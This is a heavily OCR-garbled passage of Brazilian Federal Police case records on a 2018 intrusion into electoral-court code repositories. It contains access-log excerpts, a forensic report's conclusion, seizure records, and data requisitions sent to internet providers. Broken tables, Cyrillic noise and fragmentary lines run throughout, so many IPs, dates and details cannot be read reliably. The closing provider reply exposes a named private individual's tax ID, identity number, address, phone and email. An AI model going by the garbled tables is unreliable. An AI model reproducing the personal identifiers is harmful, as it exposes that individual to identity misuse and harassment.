18/04/2018 16:11:26 — | 10.12.2.39:19460:X1 

| 0.12.2.39:25819:Х1 
7 0.12.2.39:28252:X1 


о 


18/04/2018 16:11:20 |10.12.2.39:19482:X1 |10.30.1.229:80:Х0 














mM 





/api/timemachine/index?resource-br.jus.tse.eleitoral:transportado 
r-web&metrics-sqale index%2Cduplicated lines densi 


19/04/2018 04:38:45 10.12.2.7:22412:X1 10.30.1.35:80:X0 
9 19/04/2018 04:40:48 10.12.2.7:44791:Х1 10.30.1.35:80:Х0 


19/04/2018 04:45:18 10.12.2.7:8900:X1 10.30.1.35:80:X0 
19/04/2018 04:45:18 10.12.2.7:7977:Х1 10.30.1.35:80:Х0 /api/components/show?key-br.jus.tse.eleitoral:elo-parent 


/api/measures/component tree?ps=100&baseComponentKey=br. 
jus.tse.eleitoral:transportador-web:src/main/java/b 





/code/index?id-br.jus.tse.eleitoral:elo-parent 


о 


0 a ю ol o| о 
ә to ula 


i 19/04/2018 05:00:37 10.12.2.29:55940:X 1 192.168.202.99:80:X0 /eleitoral/titulonet2 


03 19/04/2018 05:00:49 10.12.2.29:61838:X1 192.168.202.99:80: X0 /uploads/-/system/project/avatar/81/secad icn-circulo-processo- 
eleitoral.png 


104 19/04/2018 05:03:34 10.12.2.29:65004:X1 192.168.202.99:80:X0 /eleitoral/processo-eleitoral-cadastro- 
eleitores/tree/stable/02 fontes/dominio/src 
19/04/2018 05:05:13 10.12.2.7:8467:X1 192.168.202.99:80:X0 /eleitoral/elo/tree/stable/02 fontes/elo-integracao-ws- 
bio/src/test/resources 


о 
ол 





ы. 20 





/2 





Me 








INFORMA о N? рео веб Ф (continuação) 


19/04/2018 05:07:58 10.12.2.7:21240:X1 192.168.202.99:80:X0 feleitoral/biometria/refs/stable/logs tree/?format=js 
19/04/2018 05:07:58 10.12.2.7:21241:X1 192.168.202.99:80:X0 /eleitoral/biometria/refs/stable/logs tree/02 fontes?format=js 


Ы 19/04/2018 05:08:22 10.12.2.7:27518:ХІ 192.168.202.99:80:Х0 
19/04/2018 05:08:56 10.12.2.7:31081:Х1 192.168.202.99:80:X0 /eleitoral/biometria/tree/stable/02 fontes/servico- 
ws/src/main/Java/br/jus/tse/eleitoral/biometria/servico/ws 


Иса a СОИС ЛИНЕ. 
ws/src/main/java/br/jus/tse/eleitoral 






















/eleitoral/biometria/blob/stable/02 fontes/servico- 
ws/src/main/java/br/jus/tse/eleitoral/biometria/servico/ws/con 






114 19/04/2018 05:12:08 10.12.2.7:51307:Х1 192.168.202.99:80:X0 /eleitoral/biometria/blob/stable/02 fontes/soap- 
client/src/main/Java/br/jus/tse/schemas/wsdl/biometria/assinatura 
115 19/04/2018 05:15:10 10.12.2.7:13119:X1 192.168.202.99:80:X0 /eleitoral/biometria/tree/stable/02 fontes/soap- 
client/src/main/java/br/jus/tse/schemas/ 
19/04/2018 05:16:17 10.12.2.7:20585:X1 192.168.202.99:80:X0 /eleitoral/biometria/tree/stable/02 fontes/servico/src/main/java/br 
/jus/tse/eleitoral/biometria/integracao 


17 19/04/2018 05:19:20 10,12.2.7:29269:X 1 192.168.202.99:80:X0 /eleitoral/configuracao/tree/stable/02 fontes/servico 
19/04/2018 05:19:37 10.12.2.7:35875:X1 192.168.202.99:80:X0 /eleitoral/configuracao/tree/stable 
19 19/04/2018 05:20:29 10.12.2.7:38041:X1 192.168.202.99:80:X0 /eleitoral/configuracao/tree/stable/02 fontes 


21 


— 


idu 








INFORMA 0 N° зына а алыс ТЫ (continuação) % 


/job/titulonet2-qa/br.jus.tse.eleitoral$titulonet2-dominio/ 


125 19/04/2018 22:28:43 10.12.2.29:59108:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/br.jus.tse.eleitoral$titulonet2- 
| dominio/test/trend 


/job/titulonet2-qa/br.jus.tse.eleitoral$titulonet2- 
dominio/test/trendMap 


/job/titulonet2-qa/modules 
/job/titulonet2-qa/buildHistory/ajax 


Obs.: linhas semelhantes (com datas aproximadas, mesmos endereços IPs e argumento) ou com argumento vazio foram omitidas, para maior 


шын e concisáo. 
“у 








— 


























NY 
` 


— 





22 
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4 





INFORMAÇÃO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 


e" 


CONCLUSAO 


Considerando a análise apresentada acima, bem como a possibilidade de 
vinculacáo dos eventos ocorridos em abril/2018 com a notícia divulgada em setembro/2018, 
sugere-se oficiar as empresas supracitadas para que forneçam os dados cadastrais dos 


endereços IP utilizados nos acessos do usuário “digitro”, quais sejam: 





























С USUÁRIO DIGITRO^ — — 


Organizacáo — 

Endereço ІР Data Início Data Término 
Responsável 
LOCAWEB 
SERVICOS DE 191.252.64.20 17/04/2018 21:46:26 | 18/04/2018 06:36:35 | Brasil 
INTERNET S/A 
HYDRA Rein 
COMMUNICATIONS | 195.140.215.13 17/04/2018 20:38:39 | 21/04/2018 15:02:57 o 
LTD Unido 


185.153.176.4 17/04/2018 21:31:18 | 18/04/2018 19:12:14 
185.153.176.5 18/04/2018 01:49:06 | 18/04/2018 02:19:32 
. : Рапата 








18/04/2018 05:27:54 

18/04/2018 02:56:54 à 
18/04/2018 03:13:54 
18/04/2018 03:20:35 
20/04/2018 15:15:42 
21/04/2018 08:36:42 


201.6.129.235 18/04/2018 05:24:54 | 18/04/2018 05:48:59 


NORDVPN-L1 
TEFINCOM S.A. 


CLARO S.A. 









18/04/2018 18:56:14 
18/04/2018 19:13:08 
18/04/2018 23:14:54 
18/04/2018 20:56:20 
18/04/2018 22:21:17 
18/04/2018 22:23:14 
18/04/2018 23:14:52 






19/04/2018 01:13:32 
19/04/2018 04:08:37 
19/04/2018 08:11:16 
19/04/2018 17:29:14 16 
ТІМ CELULAR S.A. 19/04/2018 18:05:13 
19/04/2018 19:16:40 
19/04/2018 20:43:37 
19/04/2018 23:05:03 
20/04/2018 01:20:59 
20/04/2018 05:00:09 
20/04/2018 09:40:30 
20/04/2018 10:32:32 
20/04/2018 19:30:32 
20/04/2018 23:01:19 
21/04/2018 00:11:45 





21/04/2018 01:39:43 


— 














INFORMAÇÃO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) GS 


















Também sugere-se a solicitação do conteúdo referente à hospedagem da Locaweb 


Serviços de Internet S/A, utilizada para baixar o artefato malicioso: 





Com esta Informação, devolve-se o material supracitado. Era o que havia a relatar. 


Brasília/DF, 19 de março de 2019. 


ы À SILVA 
erito Criminal Federal 
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«соз СИ 
БЕКМІСО PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS. Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
‚ AUTO DE APREENSÃO Nº 184/2019 
IPL- 1361/2018-4- SR/PF/DF 


Аб) 18 dia(s) do més de abril de 2019, nesta SUPERINTENDÊNCIA REGIONAL DE 
POLÍCIA FEDERAL NO DISTRITO FEDERAL, em Brasilia/DF, onde se encontrava 
VICTOR NEVES FEITOSA CAMPOS, Delegado de Polícia Federal, pelo mesmo foi 
determinado que se tornasse efetiva a apreensão, na forma da Lei, do material abaixo 
discriminado: 


Apreensão nº; 184/2019 жы 


Нет езспсдо 
На сотршадог 

















Quant. | Unidade [Observação ncc 


HD externo, marca Multilaser, 
na cor prata, encaminhado 
juntamente com a Informação 
002/2019-UTC/SRCC 
Pen Drive, capacidade 8 GB, 
na cor preta e prata, 
encaminhado juntamente com 
a Informacáo 
002/2019-UTC/SRCC 























2 lPendrive | 











Referida apreensáo se deu em cumprimento ao Item 3 do Despacho da Autoridade 
Policial (fis. 30). Nada mais havendo, determinou a autoridade o encerramento do 
| comigo, LEONARDO BRUCE 
MADUREIRA LOPES, Escrivão de Polícia Federal /as testemunhas. 


presente que, lido e achado conforme, assina 





AUTORIDADE c ын одақ a bs sss i uda EM уы 


ЕЗСКІУАОд; 
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SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 


SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Oficio n° 3415/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 
| Em 18 de abril de 2019. 


A Sua Senhoria о Chefe do Depósito/SR/PF/DF. 
Escrivão de Polícia Federal . 


Assunto: Encaminha material apreendido. 
Referência: IPL nº 1361/2018-4-SR/PF/DF 


Senhor Chefe, 


e | Encaminho para fins de guarda em Depósito, o material abaixo descrito, 
conforme item 3 do Despacho de fl. 30. 










APREENSÁO n? 184/2019 | 
[Item|Descricáo ^  - | Quant. | Unidade [Observação | 2 
Hd computador 4 UN HD externo, marca Multilaser, na 









cor prata, encaminhado 
juntamente com a Informacáo 
002/2019-UTC/SRCC 
Pen Drive, capacidade 8 GB, na 
cor preta e prata, encaminhado 
juntamente сот a Informação 
_1002/2019-UTC/SREC 
















22 (еп drive | 












e | Atenciosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado е Polícia Federal 
Classe Especial - Matrícula nº 18 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício n? 3417/2019 - IPL. 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 18 de abril de 2019. 


A Sua Senhoria o Senhor 

Diretor-Presidente da Locaweb Servicos de Internet S/A. 
Rua Itapaiuna, 2434 

Sao Paulo- SP. 

CEP 05707-001 


Assunto: Requisita informações cadastrais 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhor(aDiretor(a) 


1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do 
Inquérito Policial em epígrafe, REQUISITAR a Vossa Senhoria informacóes sobre os dados 
cadastrais de usuário, conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsáo legal, o acesso aos dados 
cadastrais não estão agasalhados pelo inciso X, do artigo 5º, da Constituição Federal, de modo 
que não se contrapõe ao princípio da inviolabilidade da intimidade a permissibilidade de acesso 
a essas informações sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 
17-B, na Lei 9.613/98 ("Art. 17-B. A autoridade policial e o Ministério Público terão acesso, 
exclusivamente, aos dados cadastrais do investigado que informam qualificação pessoal, 
filiação e endereço, independentemente de autorização judicial, mantidos pela Justiça Eleitoral, 
pelas empresas telefônicas, pelas instituições financeiras, pelos provedores de internet e pelas 
administradoras de cartão de crédito") e, posteriormente, com o Art. 2º, 82º, da Lei 
12.830/2013 ("8 20 Durante a investigação criminal, cabe ao delegado de polícia a requisição 
de perícia, informações, documentos e dados que interessem à apuração dos fatos") e art. 15, 
da Lei 12.850/2013 ("Art. 15. O delegado de polícia e o Ministério Público terão acesso, 
independentemente de autorização judicial, apenas aos dados cadastrais do investigado que 
informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de intemet e 
administradoras de cartão de crédito"), a Autoridade Policial pode REQUISITAR dados 
cadastrais de investigados, ou seja: qualificação pessoal, documentos e endereço, 
INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, mantidos pelas empresas provedoras 
de serviços na internet. 


DA REQUISIÇÃO 
4- Sendo assim, REQUISITO os dados cadastrais do usuário do IP 191.252.64.20, 


em 17/04/2018, às 21:46:26 e 18/04/2018, às 06:36:35, bem como o conteúdo referente à 
hospedagem que utilizou o IP 191.252.0.19, em 18/04/2018, às 00:23:48. 


IPL Nº 1361/2018 fis. 1/2 

















ча 
BLICO FEDERAL 
MSP - POLICIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


DO PRA: А ATEN 
5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, do recebimento. 


6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta 
deverá ser encaminhada para o endereço eletrônico «grcc.df(gdpf.gov:br», devendo о 
original também ser encaminhado fisicamente ao signatário, no Grupo de Repressão а 
Crimes Cibernéticos (GRCC) da Superintendéncia Regional da Polícia Federal em 
Brasília/DF, endereco descrito no cabecalho do presente ofício. 


DAS COMINAÇÕES LEGAIS EM CASO DE NÃO ATENDIMENTO 


7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na 
caracterização da prática do crime de desobediência e/ou de sonegação de documento, 
sujeitando os responsáveis pela recusa indevida, às penas do artigo . 21 da Lei 12.850/2013 
(Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informações 
requisitadas pelo juiz, Ministério Público ou Delegado de Polícia, no curso de investigação ou 
do processo: Pena - reclusão, de 6 (seis) meses a 2 (dois) anos, e multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário 
da conta ou a terceiros poderá caracterizar o crime previsto no parágrafo único do art. 21, da 
Lei 12.850/2013: "Na mesma pena incorre quem, de forma indevida, se apossa, propala, 
divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, 
8 10-А, do Código Penal: "Divulgar, sem justa causa, informações sigilosas ou reservadas, 
assim definidas em lei, contidas ou não nos sistemas de informações ou banco de dados da 
Administração Pública: Pena - detenção, de 1 (um) a 4 (quatro) anos, e multa." 


Atenciosamente, 






VICTOR NEVE ITOSA CAMPOS 
Delegado olícia Federal 
Classe Especi trículà n? 16.179 
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КА 
SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL ‚ 
SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Oficio n° 3418/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 18 de abril de 2019. 


A Sua Senhoria ogg Senhora, 

Diretor Jurídico 

Empresas CLARO/NET/EMBRATEL 
Rua Verbo Divino, n? 1356, Térreo 
Chácara Santo Antonio - Zona Sul 
бао Paulo/SP - CEP 04.719-002 


Assunto: Requisita informações cadastrais 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora) Diretoria) 


1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do 
Inquérito Policial em. epigrafe, REQUISITAR a Vossa Senhoria informações sobre os dados 
cadastrais de usuário, conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsáo legal, о acesso aos dados 
cadastrais não estão agasalhados pelo inciso X, do artigo 5º, da Constituição Federal, de modo 
que não se contrapõe ao princípio da inviolabilidade da intimidade a permissibilidade de acesso 
a essas informações sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 
17-B, na Lei 9.613/98 ("Art. 17-B. A autoridade policial e o Ministério Público terão acesso, 
exclusivamente, aos dados cadastrais do investigado que informam qualificação pessoal, 
filiação e endereço, independentemente de autorização judicial, mantidos pela Justiça Eleitoral, 
pelas empresas telefônicas, pelas instituições financeiras, pelos provedores de internet e pelas 
administradoras de cartão de crédito") e, posteriormente, com o Art. 2º, 82º, da Lei 
12.830/2013 ("5 20 Durante a investigação criminal, cabe ao delegado de polícia a requisicáo 
de perícia, informações, documentos e dados que interessem à apuração dos fatos") e art. 15, 
da Lei 12.850/2013 (Ат. 15. O delegado de polícia e o Ministério Público terão acesso, 
independentemente de autorização judicial, apenas aos dados cadastrais do investigado que 
informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de internet e 
administradoras de cartão de crédito"), a Autoridade Policial pode REQUISITAR dados 
cadastrais de investigados, ou seja: qualificação pessoal, documentos e endereço, 
INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, mantidos pelas empresas provedoras 
de serviços na internet. | 


DA REQUISIÇÃO 
4- Sendo assim, REQUISITO os dados cadastrais dos usuários do IP 


201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e do IP 201.6.129.235, 
em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 
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SERVICO PÜBLICO FEDERAL 
MSP- POLÍCIA FEDERAL 
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL 


SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
O PRAZO PARA A ENTO 


5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, do recebimento. 





6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta 
deverá ser encaminhada para o endereço eletrônico «grcc.df(Qdpf.gov.br», devendo o 
original também ser encaminhado fisicamente ao signatário, no Grupo de Repressão a 
Crimes Cibernéticos (GRCC) da Superintendência Regional da Polícia Federal em 
Brasília/DF, endereço descrito no cabeçalho do presente oficio. 





7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na 
caracterização da prática do crime de desobediência e/ou de sonegação de documento, 
sujeitando os responsáveis pela recusa indevida, às penas do artigo 21 da Lei 12.850/2013 
(АП. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informações 
requisitadas pelo juiz, Ministério Público ou Delegado de Polícia, no curso de investigação ou 
do processo: Pena - reclusão, de 6 (seis) meses a 2 (dois) anos, e multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário 
da conta ou a terceiros poderá caracterizar o crime previsto no parágrafo único do art. 21, da 
Lei 12.850/2013: "Na. mesma pena incorre quem, de forma indevida, se apossa, propala, 
divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, 
8 10-А, do Código Penal: "Divulgar, sem justa causa, informações sigilosas ou reservadas, 
assim definidas em lei, contidas ou não nos sistemas de informações ou banco de dados da 
Administração Pública: Pena - detenção, de 1 (um) a 4 (quatro) anos, e multa." 








Atenciosamente, 
VICTOR NEVES/FEITOSA CAMPOS 
Delegad e Polícia Federal 
Classe Езреса! - Matrícula n? 16.179 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL 


SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício n? 3419/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 18 de abril de 2019. 


A Sua Senhoria Qa} Senhora) 

Diretora da Empresa TIM BRASIL 

Av. Alexandre Gusmão, 29, Bloco C, Vila Omero Tom 
Santo Andre/SP - CEP. 09.015-970 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora Diretora) 


1. Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do Inquérito 
Policial em epígrafe, REQUISITAR a Vossa Senhoria Memes sobre os dados cadastrais de usuário, 
conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsáo legal, o acesso aos dados cadastrais 
não estão agasalhados pelo inciso X, do artigo 5º, da Constituição Federal, de modo que não se 
contrapõe ao principio da inviolabilidade da intimidade a permissibilidade de acesso a essas informações 
sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 17-B, na 
Lei 9.613/98 ("Art. 17-B. А autoridade policial e o Ministério Público terão acesso, exclusivamente, aos 
dados cadastrais: do investigado que informam qualificação pessoal, filiação e endereço, 
independentemente de autorização judicial, mantidos pela Justiça Eleitoral, pelas empresas telefônicas, 
pelas instituições financeiras, pelos provedores de internet e pelas administradoras de cartão de crédito") 
e, posteriormente, com o Art. 2º, 82º, da Lei 12.830/2013 ("$ 20 Durante a investigação criminal, cabe 
ao delegado de polícia a requisição de perícia, informações, documentos e dados que interessem à 
apuração dos fatos") е art. 15, da Lei 12.850/2013 (“А” 15. O delegado de polícia e o Ministério Público 
teráo acesso, independentemente de autorização judicial, apenas aos dados cadastrais do investigado 
que informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de internet e administradoras de 
cartão de crédito"), a Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja: 
qualificação pessoal, documentos e endereço, INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, 
mantidos pelas empresas provedoras de serviços na internet. 


DA REQUISIÇÃO 


4- Sendo assim, REQUISITO os dados cadastrais dos usuários dos IP: 
189.40.75.154, em 18/04/2018, às 18:56:14 
191.51.34.72, em 18/04/2018, às 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, às 20:56:20 
189.40.72.247, 18/04/2018, às 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, às 22:29:37 
189.40.90.239, em 19/04/2018, às 01:13:32 
189.40.90.253, em 19/04/2018, às 04:08:37 
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SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


O PRA RA ATENDIMENTO 


5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, а contar do recebimento. 


О} DE DIMENTO 


6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta deverá ser 
encaminhada para o endereço eletrônico «grcc.df(gdpf.gov.br», devendo o original também ser 
encaminhado fisicamente ao signatário, no Grupo de Repressão a Crimes Cibernéticos (GRCC) da 
Superintendência Regional da Polícia Federal em Brasilia/DF, endereço denne no cabeçalho do 
presente ofício. 





7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na 
caracterização da prática do crime de desobediência e/ou de sonegação de documento, sujeitando os 
responsáveis pela recusa indevida, às penas do artigo 21 da Lei 12.850/2013 (Art. 21 - Recusar ou omitir 
dados cadastrais, registros, documentos e informações requisitadas pelo juiz, Ministério Público ou 
Delegado de Polícia, no curso de investigação ou do processo: Pena - reclusão, de 6 (seis) meses a 2 
(dois) anos, e multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário da conta 
ou a terceiros poderá caracterizar o crime previsto no parágrafo único do art. 21, da Lei 12.850/2013: "Na 
mesma pena incorre quem, de forma indevida, se apossa, propala, divulga ou faz uso dos dados 
cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, 8 10-A, do Código Penal: "Divulgar, 
sem justa causa, informações sigilosas ou reservadas, assim definidas em lei, contidas ou não nos 


e sistemas de informações ou banco de dados da Administração Pública: Pena - detenção, de 1 (um) 







a 4 (quatro) anos, e multa." 
IFOSA CAMPOS 


Atenciosamente, . /] 
Policia Federal 


- Matrícula n? 16.179 
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REMESSA 
Ministério Público Federal do DF 






АО) 21194/2019, faço remessa dos autos do ІРІ nº 
цвя contendo 1 volume(s) e 0 арепѕо(ѕ). Eu 
| LEONARDO BRUCE MADUREIRA LOPES, Escrivão 

lícia Federal, 1º Classe, Matrícula nº 17.933, que o lavrei, 
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MINISTÉRIO PÚBLICO FEDERAL ! 
PROCURADORIA DA REPÜBLICA NO DISTRITO FEDERAL 
COORDENADORIA JURIDICA 
DIVISÃO CRIMINAL 


AUTOS: DPF/DF-1361/2018-INQ. dits 
. CERTIDAO 


Certifico que, em 22/04/2019, deram entrada na Procuradoria da Repüblica no Distrito Federal os presentes autos ë, nesta 
data, conforme' regras estabelecidas no Congresso Interno de 2018 e na Resolução 31/2018, faço sua: 


a Movimentação ao(à) Procurador(a) da República; Dr.(a) Igor Nery Figueiredo, i ` 
“O Por ser o(a) titular do PRDF— 2° Oficio de ССІ, ao qual o presente feito encontra-se distribuído. 
O Por ser o(a) titular da PRDF — Oficio de Meio Ambiente е Patrimônio Cultural, ao qual o presente feito encontra- 
‚ Se distribuido. . 
O Por ser o(a) titular do PRDF — Oficio de CCI, substituto não designado. 
5 


` 


atuando no: 
acervo до РКОЕ — қ š f А 
O A.pedido. o. `. ' 


Brasilia, 2 


Ana Каде е Dauza Ker — mat. 25657-9 
DIVISÁO/gR 


CERTIDÃO DE REM ESSA 


99,0 О», faco remessa TA presentes autos, contendo dE its e anexo/apenso(s), à (ao) 


L] Justiça Federal/DF @ Departamento de Polícia Federal O 





0421 


Responsável/Matricula 

















Ministério Püblico Federal 


Procuradoria da República no Distrito Federal 





IPL n? 1361/2018 SR/DPF/DF 


Sr.(a) Delegado(a) de Polícia Federal, 


O presente inquérito não se encontra suficientemente instruído, havendo 


necessidade de prosseguimento das investigações com vistas à formação da opinio delicti. 


Destarte, este órgão ministerial concede novo prazo de 90 (noventa) dias 
para a realização das diligências indispensáveis ao esclarecimento dos fatos sob apuração, 


conforme solicitado no despacho de fl. 30. 


Brasilia/DF, 25 de abril de 2019. 





PR/DF | SGAS 604, Lote 23, Av. L2 Sul, Brasilia/DF CEP:70200-640 
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Do сие, рога coitus, eu. 


| Escriváo(ài a» Px иона 

















SRIPF/DF 
Мз: + 
Rub: 





EN 
SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


CERTIDAO 


CERTIFICO que em virtude do afastamento da autoridade policial e do autos 
encontrarem-se vencidos em sede policial, enca 0 05 autos para а 


DRCOR/SR/PF/DF, para providências cabíveis. О г 

fé. Brasilia/DF, 07 de agosto de 2019. Eu, I LEONARDO 
BRUCE MADUREIRA LOPES, Escrivão de Polícia Féderal, 13 Classe 
Matrícula nº 17.933, que a lavrei. 





IPL № 0511/2017 





SR/PF/DF 
FI: 


Rub: 





SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 


IPL n? 1361/2018-4 - SR/PF/DF 
DESPACHO 


Junte-se a resposta da empresa Locaweb; 
Junte-se as respostas da empresa TIM Brasil S.A; 


Со PO. = 


Junte-se a resposta da empresa Claro S.A; 


4. Junte-se a resposta por email do Tribunal Superior Eleitoral assinada 
pelo servido Cristiano Moreira Andrade; 


5. Ciente da certidão elaborada pelo EPF BRUCE e considerando que 
ainda restam pendentes diligëncias tidas por imprescindíveis ao esclarecimento da 
verdade material (art. 4°, do CPP e art. 29, $1°, da Lei 12.830/2013) e considerando as 
disposições do Provimento/COGER n? 37/2009 (TRF 1? Região), remetam-se estes 
autos ao(à) Ministério Püblico Federal do DF, para fins de controle externo (Art. 129, 
VII, da CF/88, c/c. o АП. 9º, Il, da LC ), soligitando posterior devolução para 
continuidade das investigações ou, caso de aprésentação de peça acusatória ou 
promoção de arquivamento, cornunicacáo formal da medida adotada a esta 
Superintendência, para fins de régistro е,рај sistemas de controle interno. 










de agosto de 2019. 
7 m PRU 


HUGO DE BARROS CORREIA 
Delegado de Polícia Federal 

Classe Especial - Matrícula n? 10.522 

DRCOR/SR/PF/DF 


DATA 


Аов) 07/08/2019, recebi—estes autos do(da) Delegado(a) HUGO DE BARROS 
CORREIA. Eu, LEONARDO BRUCE MADUREIRA LOPES, Escrivão de 
Polícia Federal, 





JUNTADA 


Aos) 07/08/2019, faço juntada aos autos do(s, documento referidos) по 
Despacho retro. Eu, а / LEONARDO BRUCE MADUREIRA 


LOPES, Escrivão de Рос! der À, que o lavrei. 


IPL N° 1361/2018 








OS29$0 008. 2534 /2019-05 cerco 


Ya 
¿CN VA 
2% locaweb? 
Paixão por desenvolver 
São Paulo, 02 de maio de 2019. 
Ао | 


SERVICO PÜBLICO FEDERAL 

MSP — POLÍCIA FEDERAL 
| SUPEINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
| SAIS — Quadra 7 -Lote 23 — Setor Policial Sul 

Brasília — DF 

CEP 70610-902 





Ilmo. Delegado de Polícia 

Dr. Victor Neves Feitosa Campos 
Ref.: Ofício nº 3417/2019 — IPL 1361/2018-4 SR/PF/DF 
— GRCC - Assunto: Requisita Informações Cadastrais — 
Datado de 18 de abril de 2019 — Recebido em 23 de 
abril de 2019. 


e Што. Dr., 


Em cumprimento tempestivo ao Ofício supra, informamos abaixo os dados cadastrais 
relacionados aos IP's n° 191.252.64.20 em 17.04.2018 às 21:46:26 e 18.04.2018 às 06:36:35 - е - 
191.252.0.19 em 18.04.2018 às 00:23:48, respectivamente: 


1) Nome: Luiz Henrique Detlinger 
CPF: 042.749.858-90 
RG: 10275110 
Endereco: Rua Santa Inés UT d Tr EE 
Número: 99807 'TOGOLOINADISRIDPF/DE 

: 

Bairro: Conjunto Guiomard Santos BE MOS ЕМ 
Cidade: Rio Branco 





| 
Estado: Acre Beso — 8 "LÀ 7014 | 
СЕР: 69901-441 
Telefone: (12) 3953-9999 
% E-mail principal: ednei.pexa protonmail.com Des Бело - Т 


2) Aproveitamos para salientar que os IP's mencionados estáo atrelados ao cliente acima, que, 
possuía o produto de cloud (desativado em julho de 2018), com gerenciamento efetuado pelo 
próprio cliente, desta forma, caso seja necessária maior informação, tal solicitação deve ser 
direcionada à pessoa acima citada. 


3) Ainda, no que tange à solicitação de vossa senhoria quanto ao conteúdo referente à 
hospedagem que utilizou o IP 191.252.0.19, primeiramente, cumpre salientar que de acordo 
com a Lei do Marco Civil, os registros de acesso às aplicações de internet (IPs, demais logs, 
conteúdo) somente serão disponibilizados pelos Provedores de Aplicação, mediante ordem 
